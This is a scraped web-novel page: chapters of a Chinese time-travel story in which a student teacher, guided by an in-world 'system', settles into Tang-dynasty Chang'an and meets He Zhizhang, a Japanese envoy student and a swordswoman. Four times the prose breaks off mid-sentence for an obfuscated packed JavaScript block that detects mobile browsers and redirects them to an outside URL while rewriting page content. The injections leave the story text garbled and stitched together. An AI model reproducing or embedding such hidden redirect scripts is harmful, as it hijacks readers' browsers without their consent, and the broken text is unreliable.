不过大部分同僚看见她的表情都有些奇怪,时不时还会在背后窃窃私语什么。难不成还没正式上班就要被同事蛐蛐?自己也不是什么关系户走后门进来的吧。 直至路过孔庙旁的一座偏僻殿宇时,白果本在细细打量碑亭上记录的功绩,可惜她看不大懂,只辨认出《五经正义》几字。忽地听见殿宇里面传来悉悉索索的声响,抬头望去,是老鼠还是她听错了? 注意到她的顿步,贺知章语气瞬间低沉,颇有些警告意味,道:“此处是国子监禁地。” 可她分明看见纸糊窗户后飘过几道模糊影子,许是自己的官职等级不够,还没有到达可以探索那个区域的权限。白果这么想着,而导师之后说的话更让她忍不住嘴角抽搐。 “若你有古代汉语问题,可以进去询问,当然也需看他们愿不愿回答你的问题。” 【待解锁区域:神秘殿宇,国子监禁地,总在黄昏过后传来奇怪声音。 解锁条件:真诚询问古代汉语问题,并渴求得到名师解答;】 这才猛地想起古汉老师留下的那厚厚几沓暑假作业,白果讪讪一笑,心中已然有了主意。等过段时间就进到这里看看,问古人作业答案总比自己瞎写靠谱。至于贺知章口中的“他们”究竟是谁,目前还不得而知。 大致花费半个时辰将整个国子监转悠完,里面各项功能齐全,跟自己的破学校比起来简直是天壤之别。虽说里面为教师和学生提供斋舍,但她毕竟是女子,住在这里不大方便。 早知道就女扮男装混进来了,直接把租房费用省掉,还少了每天来回的通勤时间。 别过导师,白果提溜着大包小包一堆东西准备回家。她本随口一提今日搬的新家空荡荡,什么都没有,谁知对方直接领她去了库房,把所有东西都拿了两份。 在白果惊讶的目光中,贺知章轻笑着压低嗓音道:“官家提供的东西,借用一番又何妨?” ——这就是薅公司羊毛吗?好刺激的体验。 不过.......白果又回头瞥了眼站在国子监门口的贺知章,和想象中的历史人物形象相差甚远。虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735564|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是中文专业,但她的文学素养也仅是个半吊子,对于贺知章的印象只有那句“少小离家老大回,乡音无改鬓毛衰”。 是个乐呵呵又有些伤感的老爷爷模样。 今日真正接触后才惊觉从前认知的浅薄,一位晚年间自号四明狂客的诗人,不当是如此单薄片面的人物。语文啊,真是在脱离了考试后才真正彰显出其魅力。 坐上骡车先把东西扔回家,半路顺带在商贩处买了几个馅馒头,一口气吃了三个才缓过腹中饥饿。什么馅儿的她倒没吃出来,但好吃。 白果打个哈切,从延寿坊跑出来又急忙赶去南边不远的延康坊,为了给贺导师留下个好印象,今天就去完成第一个任务:看望学生。 点开系统自带地图,疾步走至那名叫“小野篁”的遣唐使学生病房门口,即将敲门前顿住几秒,里面有人在说话,要不还是再等等吧,现在闯进去不大礼貌。 系统忽地弹出两个选项糊在她脸上——【偷听】or【不偷听】 (注:不同选项将会导致不同情况,无反悔机会,请学员谨慎选择) (注:每月会对学员教学日常进行评估考核) ......道德难题出现了。 白果想起自己的初中班主任在班级安插了五个卧底,直到现在她也没猜出那剩下那四个人是谁。对了,其中一个是她。 这种行为对于学生来说可能不大接受,但老师可以全面掌握学生情况,以防万一。 纠结过后,她还是选择【偷听】。万一这位同学因为此次受伤后产生心理阴影,但不愿说,最后发生意外了怎么办? 【学员选择[偷听]选项,[小野篁]心理健康线开启】 附耳贴近门框,里面有两人在对话,一道强势,一道弱懦。声音并不大,并且用的都是日语,好在有系统翻译。 “你没必要这么做...我不会说出去的。” 对方嗤笑一声,反讽道:“做什么?小野石根,你可要记清楚,现在的我是你兄长。” “......兄长,你好好养伤吧,我先走了。” 两人之间似乎蕴藏着某种隐秘不可说的秘密。 他在即将出门前顿了顿,又从嗓子眼里慢慢挤出一句话:“我不会说出去的,我知道这是你唯一的机会。” 床上那人更为嫌恶,“不用你的施舍,你们都一样恶心。” 小野石根叹口气,推开房门,迎面撞上位陌生女子冲他微微一笑。他猛地低下头,口齿不清地道了句汉话,声若蚊蝇,又差点儿被门槛绊倒,脸瞬间红成一片,踉踉跄跄的快步离开。 自己有那么吓人吗?白果摸了摸脸,对这位学生有了“内敛羞涩”的初印象。 看着未合严的木门,她清清嗓子,尽量用简单词语表达自己的来意。 里面那人沉默许久,回道:“请进吧。” 白果眼前一亮,这位学生的发音倒是很标准啊,是个有汉语学习基础的学生。 跨步进了内室,木床上檐挂着一席纱帘相隔,许是怕病人沾上寒气。她下意识放轻动作,还是带起阵清风,不小心吹开了纱,瞧见床上人的病态。 那人同样对上她的视线,很难形容那是种怎样的目光,似溺水之人忽见浮木,却又小心翼翼,如捧着一盏易碎的琉璃灯,是执念和希冀,同样参杂几分痛苦与警觉。 惊鸿一瞥后又隐匿于白纱之下, 嗓音有些颤抖,轻声道:“在下小野篁,白女郎,请多指教。” 5. 第 5 章 夜色沉沉,油灯微光摇曳,映得窗棂上的人影忽明忽暗。灯芯偶尔噼啪轻响,给这过于寂静的夜带来些声音。白果咬着笔帽,在宣纸上写写画画,不时翻看学生花名册,最后自暴自弃般瘫倒在床。 记不住,根本记不住,虽然仅有15名学生,但名字大都拗口。上一眼还是叫阿班达,闭眼就变成了阿凡达。 盯着围绕在烛火旁的小飞虫,她发起呆来。经过一天劳顿后,这才感到身体上迟来的酸疼,小腿的每一寸肌肉都在叫嚣着疲惫。可大脑却不受控制的开始闪回今天发生的一切,无数人影划过,最终停留在那个名叫小野篁的日本遣唐使身上,同样也是自己未来的学生之一。 很矛盾的气质,他身上有股压抑许久的戾气与怨念,说话很慢,嗓音低沉沙哑。即便隔着纱帘也能看出他一举一动的刻板化,像是被专门训练过般,带着说不上来的诡异。明明是万物回春的暖阳天,在病房中竟无端感到几分寒意。 从未如此清晰地感受到有人在盯着自己。 白果打了个哆嗦,胡乱扯个理由撒腿就跑,直到现在也不免觉得心惊胆颤。 无端回想起自己不知道从哪里看见的一段话: 想要了解一个人需要分几步? 直视TA的双眼,聆听TA说话的语调,最后在脑海里努力拼凑出TA的样子。那就是TA,一个由自己看见的、最真实的TA。 那小野篁又是个怎样的人呢? 在硬床板上翻个身,被褥也没有的小床显得有些可怜,但好在现在不算冷,可以勉强住上一阵。 望着被风吹灭的烛火,房间彻底陷入黑暗,唯有空中一轮皎洁明月。她闭上眼,耳边传来似有若无的悉悉索索声,蜷缩起身子,意识逐渐模糊,陷入沉睡。 梦中被一条纯黑巨蟒死死缠住,清晰感受着鳞片划过脸颊的触感,呼吸也被遏制,让她忍不住想要呼喊出声: 不不不,她是姓白不假,但不是白素贞那个白啊! 仰着脑袋,不小心与巨蟒对视一眼,那双不带丝毫感情的竖瞳倒影出她的模样。让白果整个人都僵了几秒,这莫名的熟悉感,她想起病房中那惊鸿一瞥。 巨蟒全然不顾她的挣扎,缠绕得更加紧迫,呼吸愈发困难,她胡乱伸出手,张嘴使劲儿咬了这坏蛇一口。听得吃痛一声,嘴里莫名感到毛茸茸的,让她呸呸几下。 “嘎嘎!” 猛地睁开眼,面前是只翅膀秃了个口子的大肥鹅,正愤怒地盯着她瞧。至于那翅膀是如何秃的...呸呸呸,把嘴中的鹅毛吐出来。 白果还没完全清醒,就见这肥鹅被一双手抱走,而这闯入家门的陌生人非常自然地揉搓她的脸,激动道: “你终于醒啦!” “啊?我是醒了,但你是...” 话说到一半就被对方打断,这人兴致冲冲指着新换上的大门,又指了指被收拾的一尘不染的房子,还有她身上莫名其妙多出来的被褥和书案上摆着的精致早点,仰头叉腰道:“你家实在太破了,我不允许延寿坊有这样可怜的房子。” ......国家终于来扶贫了吗?! 不对,等一等,自己现在是不是还在梦里?白果使劲儿一掐面前人的胳膊,又听得吃痛一声,和那鹅叫差不多。用充满幽怨的小眼神盯着她,碎碎念道:“虽然我是有事求你,但你咬了我的鹅就算了,还要掐我。” 白果眨了眨眼,从犄角旮旯里找到一丝记忆,陆象先貌似说过,这鹅的主人是——郝女侠? “没错,本游侠行不更名,坐不改姓,郝闰是也!” 名叫郝闰的游侠站起身来,终于看清她的全貌。身着一袭窄袖胡服,衣料沾染尘土,已然看不出原本的浅碧,腰间束着一条绣有黄莺的革带,上面挂着个略显斑驳的酒葫芦,随着动作轻轻摇晃。发髻有些松散,几缕青丝垂落额前,身上更是挂着几根雪白鹅毛,杏眼弯弯,眼波流转间都是洒脱与灵气。即便此刻灰头土脸,也掩不住她眉眼的英气与亲切。 她捂住怀里大鹅的豆豆眼,凑到白果耳边,神秘兮兮地小声说:“我这鹅因着没打过你发脾气不吃饭,鹅容都憔悴不少!” 顿了顿,带着几分祈求的意味,“所以能不能请你帮个忙,向鹅说声‘白羽将军你最棒’,算我欠你份人情。” 原来是这样啊,白果转了转眼睛,忽然想逗逗这个颇为有趣的郝女侠。清清嗓子,故意拉长语气道:“可以倒是可以,但你私闯民宅这事儿又该怎么算?” 郝闰皱起脸来,“喂,可别想吓我,你这房子的门昨日夜里就被吹倒了,我可不算是私闯民宅。” 耸耸肩,看样子是没唬住这位女侠了。只是没想到那鹅的智商还挺高,自己打不过还知道找主人帮忙,或许白羽将军的名号就是郝女侠帮忙打出来的。 她倒不至于和一只鹅置气,点点头,看着那气鼓鼓的大鹅说道:“白羽将军你当真是最棒的鹅。” 语气平淡,颇有点些棒读的意味,但这鹅也听不懂阴阳怪气,高高兴兴“嘎”了一声,跳下床又出门找自己的小弟去了。 见终于哄好了鹅,郝闰也松口气,她轻快地哼着小曲想要出门走人。但被人抓住衣袖,扭过头,只见床上那位女郎直勾勾盯着她,“你不是说欠我个人情吗?” “哦?”她来了兴致,“你想要我帮你干什么?除了杀人放火外都没问题。” 女郎轻轻摇头,唇角含笑,“在下白果,初到长安,四顾茫然。山川虽美,却无旧友相伴。不知郝女侠可否愿意多一位友人,解我孤寂之苦?” 两人对视几秒,一同哈哈大笑起来,这番话当真是有趣极了。 郝闰把身上的一根鹅毛揪下送给对方,单手撑着窗沿,摆摆手道:“千里送鹅毛,礼轻情意重。我认下你这个朋友了,有缘江湖再见!” 下一瞬就彻底消失在眼前,像是会瞬移般神奇。不过貌似是踩中了什么,又听见房顶瓦片碎裂声响,还有郝女侠那鹅愤怒的嘎嘎叫声。 “哎哎哎!你这坏鹅,只是不小心踩你一脚,至于这么斤斤计较吗!” “嘎嘎嘎!” 【恭喜学员结识第三位好友——郝闰】 白果伸个懒腰,听见浑身骨头咔吧咔吧的声响,又在屋后小院里做了个广播体操,顺带向好奇看她动作的陆象先打个招呼,这才感觉锈掉的身体重新恢复运作。 盘腿坐于书案前,她瞧着郝女侠送来的早食,是一碗热气腾腾的馎饦,其实也就是面片汤,泛着微微油光,羊肉醇香与葱姜辛香融为一体,面片宽厚,入口嫩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【Tea:您可以在商城中花费50文购买一本[繁体字简化字对照字典]。】 ......那很自力更生了。 她趴在书案上,自己只是想考个教资,为什么还要学那么多东西,完全不符合常理吧。 【Tea:根据您提供的期末考成绩,与您开学即将升入大学三年级情况综合考虑:古代汉语科目为专业必修课,您对于此科目掌握较为薄弱,并且掌握足够的古代汉语知识对于科目一考试中选择题类的“文化素养”方面有很大帮助。】 可她现代汉语还挂了呢,为什么不补一补现代汉语。完全可以把时间设定为民国时期,跟着迅哥学语文。哦不对,那时候自己的专业可能不大吃香。 把字典买下,白果捶捶有些发麻的小腿,低头继续认真备课,将不懂的字都做上标注。 窗外站着几只叽叽喳喳的鸟儿,孩童们玩着竹马,敲击在青石板上的脆响将鸟儿惊走。不远处的寺庙里传来晨钟,无数声音融为一体,长安城渐渐苏醒了。 阳光照进屋内,还有那奋发图强没一会儿便与周公相会、呼呼大睡的白果身上。 要知道,没有手机的世界就是最适合睡觉的世界。 6. 第 6 章 “教授生徒,技艺存焉。知识之传,宜由浅入深,循循然善诱之。道而弗牵,开而弗达,强而弗抑,依其质而行其诲也......夫每一生徒,皆有其所长也。” 稚童清脆的读书声停下,端起瓷碗喝了几口蜜水,她从没见过这种黑黢黢的蜜水,倒出来时还冒着密密麻麻的小气泡。满足地舔舔唇角,好喝! 不过就是有一点儿不好——捂着嘴,没忍住打出个嗝来。 一对圆眼睛骨溜溜地,小心瞥了眼身旁又开始打起瞌睡的白女郎。呼,还好没被听见。 对讲课声暂停十分敏感的白果瞬间睁开眼,用袖子擦擦嘴角,下意识坐直身子说道:“那什么知乎者也......三人行,则必有后福。” 把书本放下,看着面前这个“不成器”的大人,年仅六岁的明珠体会到不属于自己这个年纪的无奈,和初见时完全就是两个不同的人嘛。她连连摇头,早上好不容易扎好的三角鬓都松散许多,皱起小脸道:“错啦,白女郎根本就没有认真听我说话。” 明珠说着说着又忽地感到几分委屈涌上心头,是不是自己做得不够好? 白女郎用半个时辰5颗饴糖的丰厚报酬来雇人朗诵书籍,还有小点心和蜜水提供,如此神仙待遇让整个延寿坊的孩子都沸腾起来,争先恐后抢来报名。 当然,这其中大多是男童。 说起这白女郎,那更是延寿坊的新任传奇人物。无人不知国子监是个什么地方,这女子便是担任女师,那也是教授贵族女性音乐和礼仪,如何能入得了国子监成为夫子?众人议论纷纷也得不出个所以然,只能推测白女郎其实是男扮女装。 毕竟这人身量高大,宽肩窄腰,比绝大部分男子都高上不少,走起路来风风火火,动作举止不带半点儿女儿家模样,再配上那副好面容,真当是玉树临风的翩翩公子。若不是她没有喉结,声音也确实是女子,还有陆象先哭笑不得的再三保证,这流言还能传得更加离谱。 明珠也听过几耳朵纷纷扰扰的流言,但阿娘说过:人若是长着眼睛,就不要从他人嘴里认识另一个人。望着被环绕在人群中的白女郎,年纪尚小的她很难说清那是种怎样的气质,只觉得那似是一只自由的飞鸟,不属于这里的飞鸟。 叽叽喳喳的叫唤声把明珠拉扯回现实,本就犹豫的几个女孩儿更加迟疑,再说读书这事儿大都不会放在她们身上,要是女红倒还可以争上一争。 明珠和小伙伴们眼巴巴瞅着那群男生围在白女郎身旁,她抿抿唇,一股不服气的情绪喷涌而出,也鼓起勇气高高举起手来,扯着嗓子大声喊道:“我!白女郎你选我吧!” 这声音虽大,可依旧被掩盖在喧嚣之中。 “嘘,小嘴巴,闭起来。”白女郎伸出食指放于唇前,只一个眼神便将还在闹腾的男孩儿们制服,像是群鹌鹑般不敢再说话。 迈步走到明珠面前,虽然紧张,她依旧高仰着头磕磕绊绊推销自己,“我已经把《千字文》都背下来了,读书肯定比他们都厉害!还有,我还自学了些论语‘知之为知之,不知为不知’……唔,绝对可以帮到女郎。” 听完这番话,白女郎的笑意愈发明朗,拍拍她的肩,“就决定是你了,临危不惧、审时度势、敢于展现自我、清楚表明自身优势,简直就是延寿坊里数一数二的人物!小神童,你叫什么名字?” 被一连串毫不遮掩的夸奖弄得晕乎乎的明珠也露出个傻笑,依旧有些不可置信,原来只要努力争取就可以获得机会吗,而且白女郎才不像他们说的那样奇怪。 明珠超大声说出自己的名字,“我叫季明珠,明月的明,珍珠的珠。” “明珠……好名字,明德惟馨,珠辉玉映。”白女郎沉思片刻后故作深沉道:“我观你日后必然成就一番大事业。” 听到这话,所有孩子又都围上去,想要神通广大的白女郎也给自己算算命。惹得女郎转身拔腿就跑,身后跟着一连串小萝卜,还有几只不明所以的大鹅嘎嘎乱叫,场面当真是热闹极了。 【Tea:学员招聘童工来诵读课本,减轻识别繁体字困扰,方法富有创新,并且激励鼓舞[季明珠],改变其人生轨迹。虽有投机取巧之疑,但从总体而言,巧妙运用当下资源,引导学生自信,乃教师之举】 【系统:+5分】 唯有季明珠愣在原地,她不停回想着白女郎的那番话,低头轻声念叨着:明德惟馨,珠辉玉映……她以后,真当会有大事业吗? 不过现在重要的倒不是事业,而是——故作伤心地抹了抹眼角,声音哽咽,“白女郎……是我念的不够好吗?还是说你后悔选中我来念书了?” 【Tea:即将扣分】 白果猛地清醒,那几丝困意也烟消云散,急忙辩解道:“不不不,是我昨日夜里睡得晚些,今天提不起精神。明珠念的很好,我从未后悔自己这个决定!” 她说得急,后知后觉回过味来,这才瞧见身旁偷笑的明珠。这小孩儿倒是个机灵鬼,被抓包后也不怕,笑盈盈道:“既然如此,女郎应当早些歇息才对,明珠还有几个字不大懂,想来要和清醒的白女郎共同探讨一番才是。” “你倒是人小鬼大,得了,今天就到这里吧。”她拍拍脸,昨日夜里总听见有道虚声在说话,惹得她整宿都没睡好,要不也不至于在明珠面前犯困。 季明珠收了今日念书的酬劳,小心塞进自己腰间的褡裢中,里面鼓鼓囊囊的,都是白女郎送她的小礼物。轻快道别后便蹦跶着离开,看样子是又要和小伙伴们分享饴糖去了。 瞧着那道小小身影远去,白果没忍住又打了几个哈切,还是好困。这培训的真实度已经到了难以想象的恐怖,她已经有些分不清究竟是现实还是虚拟。 迷迷瞪瞪地低头翻翻书,经过三天努力,已经将这书过了一遍,对于学生的基本信息也大致背下来,真是除了期末周外的超高效率。还好她脑子转得快,知道自己一人啃古文必然失败,花费几块糖就雇来可靠童工帮忙,算是磕磕绊绊学完。 【系统:学习完整本[贺知章精编教师手册],+5分】 【系统:教师要做到终身学习哦】 同样,那本繁简字字典也被翻了数次,她已经开始幻想开学后如何在古代汉语课上大杀四方。 至于为何如此努力,那源于Hr在培训时说过:每月评估结果越高,额外奖金越多。谁能跟钱过不去?反正她无法拒绝。白果不得不承认,现在的一切努力都与报酬挂上钩,她还处于扮演角色的初始状态,反正只是成为教师,也不会多难吧。 起身用冰凉井水洗把脸,努力将困倦赶走后打算按计划去那西市逛上一逛。穿上前几日手洗后终于晾干的圆领袍,来的那天实在繁忙,本来的干净衣裳也变得不堪入目,洗了好几遍才洗净污垢。可近几日风大,晾晒衣物总被吹落,简直就是世界上最绝望的事情。又手搓两次衣服的白果最终决定挂在屋内,自然晾干。 穿戴整齐后,迎着午后炽热阳光踏出无门,青石板路上光影斑驳,路上行人不多,了去心头琐事后走在这长安城里更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735566|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是别一般风趣。清风拂过,阵阵槐花香气中参杂几缕甜腻,耳边驼铃轻响,是那胡商牵着骆驼,满载西域香料与珠宝,在光下反射出耀眼的光芒,引得路人驻足。 她已然到了西市,长安城最为繁华的地方之一。 先去瞧那精致非凡的瓷器与绸缎,还是胡商从西域搜刮到的奇珍异宝,亦或围观杂耍艺人的胸口碎大石?不,白果选择先在街边茶肆蹭吃乘凉。眯着眼睛抬起头,这世上怎会有如此歹毒的天气,明明不算太热,但稍加奔波后便大汗淋漓,她不想再洗一次衣服。 走进茶肆,本计划随意待一会儿,只歇歇脚。碰巧听见楼上有不少文人墨客品茗论道,说起话来头头是道,附耳细细听了会儿,倒是没有想象中诘屈聱牙,就连她这个半吊子也能听个乐呵,算是雅俗共赏了。 “客观,您的茶水,水,好了。” 店小二把煮好的一壶茶放在桌上,白果看不懂菜单,只让小二把店内招牌上一份,名叫调味茶。缓缓倒上一杯,茶水色泽淡绿,清澈透亮,闻起来和自己平日喝过的茶水不大相同,有种混合味。好奇品了一口,本也想效仿旁人长叹道:此乃好茶。 口中渐渐品出咸味,还有那么一丝辛、甘交织,三重滋味如浪潮般席卷而来,茶叶的微苦与不知名调料的浓烈相撞,她无法形容这股奇特感受,像是喝下洗洁精口味的胡椒清凉油。脸上露出极为扭曲的表情,把刚刚还在微笑服务的店小二吓了一跳,连忙道:“客官,您,您没事吧?” “这,这茶……有…有…” 白眼一翻,瞬间昏死在桌。 还没等店小二发出惊叫,那本来晕过去的客人又睁开眼,对他摆摆手若无其事继续道:“有点儿太难喝了。” 店小二:…… 他涨红了脸,结巴更加严重:“客,客官,不要,不要开这种,玩笑。” 店小二还从未遇见过这样的事,他只在这茶肆当个短工,因着听闻那最近有几分名气的李太白要在此处谈诗论道,他想见一见这诗人。可谁曾想,诗人还没见上,倒是先遇见了个“闹事”的。愈是着急就愈是口吃,他摇摇头,“既然客官喝不惯,这,这茶,我给您,换,换个新的。” “不用了,换壶清水即可,是我自己喝不惯,不为难你什么。” 他松口气,好在这女郎不是什么胡搅蛮缠的家伙。急忙跑去接了壶水,小心翼翼绕过其他客官,还没来得及庆幸就被人撞到桌角,连带着托盘上的茶壶也掉落摔碎,滚水撒向四周。 蒙眼纱布露出一角,那是双暗红色的诡异双瞳,像是漩涡般,似乎直视一眼便可陷入深渊。 “有有有,有妖怪!!!” 他哆哆嗦嗦地后撤几步,周遭人对他这突发恶疾的怪异表现皱了皱眉,不满地呵斥几句:“这哪里有妖怪,分明是你不小心撞上桌角又摔了茶壶,这水都洒到我身上来了!” 可他真的看见妖怪了啊……本想着再辩解几句,刚刚还在眼前的人影又忽然消失不见,完蛋,这下真见到妖怪了。 身后有人拍了拍他的肩,惹得他又打个颤,带着哭腔小声祈求道:“您可不可以,先放,放过我,我我,我还有个兄长,能不能等我先向他告别后,再再吃了我。” “看清楚点儿,我可不是你说的精怪,不过嘛……” 白果若有所思地看着地上突兀出现的一块儿黑布,还有刚刚空中浮现出的【学生】标识,喃喃自语道:“难不成,我的学生里还有个忍者?” 事情变得有趣起来了。 7. 第 7 章 黄昏,黄昏后,已然到了闭市的时间。街上行人冷清,再过上一会儿便要宵禁。今日本是寻常一天,忙碌许久的市尉伸个懒腰,眼下挂着青黑,不知怎的,他总觉得西市最近的治安不大对劲。 往日再怎么样都会有几个挑事的西域黑商,还有各种文化不同带来的矛盾冲突需要调节。可近来却平静到如同一潭死水,让他们这些人毫无用武之处。 从窗户外吹来的凉风让他没忍住打个寒颤,罢了,许是自己想多了,没有琐事不应该感到高兴才对吗。把不知道是哪个市胥忘记关上的窗户合拢,他也到了散衙的时候,早些回家歇息吧。 吱呀一声,房门被轻轻合上,屋内陷入黑暗,仅一点透过糊纸照进的微光。人影闪过,停留半晌后便消失在原地,如同鬼魅。桌案上留下枚晶莹剔透的红色宝石,幽光流转,似赤蛇朱瞳。 铮铮,古琴发出清脆声响,打破这一瞬寂静。 “那是从地府而来的诡异双眸,似有冤魂藏于深处。还有那人,只眨眼间就消失不见,甚是神奇。兄长,要不是有位好心女郎相助,我今日定然要被东家训斥。” 指尖轻抚琴弦,声若清泉滴落,泠泠淙淙。 “兄长,那女郎为人相当有趣,起初我以为是遇见了闹事的家伙,没想到她仅是喝不惯那调味茶。说实话我也喝不惯,真奇怪,为什么那些文人都爱喝呢...或许这便是我与他们的区别......” 琴声掀起波澜,弦音愈发急促,似有暗流涌动,隐隐透出几分焦躁与不耐烦。 他还在喃喃说着,语气从低沉转为崇拜,“哦对,今日又没遇见李太白,不知什么时候可以再次出现,我真想亲眼见他作诗一首。” 声音戛然而止,似一刀斩断湍流,空余死寂缭绕。 弹琴之人瞥他一眼,缓缓开口道: “聒噪。” 他讪讪一笑,知晓自己不能再继续,要不等下兄长又要犯病砸东西。两人对立而座,唯一盏摇曳烛火照亮狭窄房间。无人语,只低垂着头,陷入往日寂静之中。 那突兀结束的琴声继续,这次换了一人演奏。 延寿坊, 槐树新叶初展,零星花瓣凋落,他眉目低敛,指尖拨动古琴,琴声在苍茫暮色中蔓延,寂寥沉郁,仿佛天地之中仅余一抹孤影,风卷残花落了满身。可有一人破了这番意境,在角落里来回踏步。 停住抚琴,瞧着赖在自己小院内不走的无赖,陆象先饶有兴致询问:“怎么,明日就要正式赴任教书,你不再回去准备准备?” 那无赖捂住耳朵,也反驳得头头是道:“希仲兄这话不对,愈是准备愈是紧张,不如干些琐事缓解情绪。要知道,好心态决定教师的一生。” “哦?那听白女郎这话,便是胸有成竹了。” “......如有。” 陆象先抚掌大笑,颇有几分阴阳怪气地夸赞道:“没想到女郎还精通几分佛理。” 无赖这回倒是不吭声了,默默蹲在墙头发呆,是个明眼人都能看出她此时的心不在焉。耷拉着眼皮,整个人都毫无力气的疲惫模样。见此,陆象先也没再说话,指尖轻动,将刚刚那首《广陵散》换为较之柔和的曲目,如松风拂过山涧,一片祥和自在之感。 可惜只是对牛弹琴,那牛还打起瞌睡,埋怨他这好心人。 “白女郎怎得误解我的好心,可曾听过五音疗疾的说法?” 【Tea:在古时,“乐”的繁体为樂,与“药”的繁体藥有共同字根,两者都与自然、生命和治愈相关。中医认为,“乐”能调和身心,而“药”能治疗疾病,两者在功能上有相似之处。音乐中的“宫、商、角、徵、羽”五音也是与五行相对应,有调节五脏的功用。】 白果停下在墙角边踱步的动作,凑到琴边随手拨弄几下,不成曲调,甚至有些刺耳。 “学琴难么,我从前也想学琴,可总觉得自己没有天赋,便怎么也没开始。”她说完后又轻叹口气,喃喃自语道:“这世上总有那么多值得忧虑的事情,明明还未发生就已经开始担忧。” 陆象先摇摇头,用着刚刚她随意拨弄的指法,弹出别有一番生趣的小调。又是一曲终了,他这才说:“天下本无事,庸人自扰之。” 却遭对方反怼,“世事如棋局局新,庸人自扰亦成诗。” 他没再说话,低头拨弄琴弦,两人陷入诡异的尴尬沉默,过了半晌,陆象先回道:“女郎说的对,毕竟风云变幻常无穷,我也仅是个装作不在意的庸人罢了。” 琴音低回,他又换了首曲子,似是秋风呜咽,落叶飘零,听出思绪绵绵,道尽迷茫与孤寂。几个还未成熟的青绿色果实掉落在陆象先眼前,琴音乱了,连带着心绪也乱了几分。 抬头一瞧,那刚刚还了无生趣的女郎正跨坐树梢,摘枇杷。 她向陆象先招招手,接着从树上跃下,落地轻盈,应是个爬树老手。将刚刚扔到地上的枇杷捡起,随意用袖子擦擦便咬下一口,面部瞬间狰狞起来。 好酸! 皱着眉举起自己刚刚咬了口的青枇杷,她一脸正色,对着陆象先道:“人的一生犹如此枚果实,没成熟时对人毫无用处。” “……何意?” “我想说,只有成熟后的枇杷可以用来酿酒,到时勉强分你一壶。”白果抛起手中果实,漫不经心地继续说:“人生大事不过等酒熟而已。” 哪有那么多意义可言,所以也别弹这伤心的曲子啦,就连她这“牛”都听得出对方琴声中的落寞迷茫之感,简直比得上那青枇杷的酸涩。只是顺口回怼,还要她哄回来,难办。 同样听出白果言下之意的陆象先勾起嘴角,既然得到如此劝慰,他也不能再装作自怨自艾。指法一转,琴音瞬间变得轻快明亮,颇有拨云见日般豁然。 “那我日后可要时时盼这枇杷成熟了。” 【Tea:通过隐喻果实来劝慰友人烦恼,生动有趣,更是从特殊角度切入讨论“人生”这个宏观话题,以小见大,符合教师之举。】 【系统:+5分】 白果靠在树旁,闭眼听着悠扬琴声,周遭一切声音都化作乐谱中的音符,容万物于此曲之中,那焦躁心情也消散不少。 决定了,以后心情不好就催促陆象先弹琴,来缓解没有手机听歌的痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735567|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦。 鼻尖槐花淡香渐渐隐去,清风徐来一抹书墨幽韵,她睁开眼,已然再次站在国子监门口,仿佛从未离去。 贺知章一如初遇那日般,立于门前,身似寒松。两人互相作揖,便一同前往专属于外国留学生的讲堂场地。 白果跟在贺知章身后,犹豫半天,本想着说出自己已经将书认真读完,对于学生资料也做了全面了解。可这样会不会让对方觉得自己不够谦虚,是那种仅是微末成就也要炫耀的浮躁学生呢?好吧...她真的不大会和“领导”相处。 就在犹豫的这几分钟内,他们已经到达讲堂门口。 “我知晓你这几日夜夜诵读,你做的很好,我理应褒扬你。”贺知章顿步,转身对依旧心不在焉的白果道。 她瞬间亮起眼睛,一副等待夸奖的骄傲模样。话锋一转,语气变得犀利起来:“但你却没有勇气把自己所做的努力告知于我,故而这褒扬也就抵消。” 贺知章给出了教学第一课, “学子可欣然告于师,言其力学之勤,非矜也,实乃自进之证也。” 这下轮到白果愣住,她就这么和导师的第一句夸夸擦肩而过!早知道就不犹豫了,好后悔。正当白果内心开始上演起时光回溯大戏时,一枚青田石制成的精美印章悄然落在她手中。 瞧着她惊讶的神情,贺知章难掩笑意,“褒扬虽没,但奖还是有的。” “如此,早课时辰已经到了。”说完这话他便转身离去,作为国子监丞,他琐事一向繁多。 身后的白果拿起印章一瞧,上面刻着四个字——温故知新。 她眨眨眼,感觉焦躁的心情也平静许多。 … 